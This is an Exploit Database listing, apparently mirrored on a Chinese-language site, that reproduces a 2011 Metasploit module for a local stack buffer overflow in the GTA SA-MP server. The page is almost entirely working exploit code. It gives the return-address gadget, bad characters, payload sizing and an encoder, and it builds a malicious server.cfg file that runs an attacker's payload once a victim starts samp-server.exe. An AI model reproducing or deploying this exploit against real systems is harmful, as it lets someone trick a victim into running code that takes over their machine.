GTA SA-MP – ‘server.cfg’ Local Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2011-10-26
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18038/

• ##
  # $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'GTA SA-MP server.cfg Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in GTA SA-MP Server.
  				This buffer overflow occurs when the application attempts to open a malformed
  				server.cfg file.To exploit this vulnerability, an attacker must send the
  				victim a server.cfg file and have them run samp-server.exe.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Silent_Dream',# Original discovery, MSF Module, template by mona.py
  				],
  			'Version'=> '$Revision: 14076 $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/17893' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'BadChars' => "\x0d\x0a\x1a",
  					'Space'=> 392,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  					'DisableNops'=> true,
  					'MaxSize'=> 392,
  				},
  
  			'Targets'=>
  				[
  					[
  						'GTA SA-MP (samp-server) v0.3.1.1',
  						{
  							'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Sep 18 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
  			], self.class)
  
  	end
  
  	def exploit
  
  		buffer = "echo "
  		buffer << rand_text_alpha_upper(379)
  		buffer << [target.ret].pack('V')
  		buffer << payload.encoded
  		file_create(buffer)
  
  	end
  end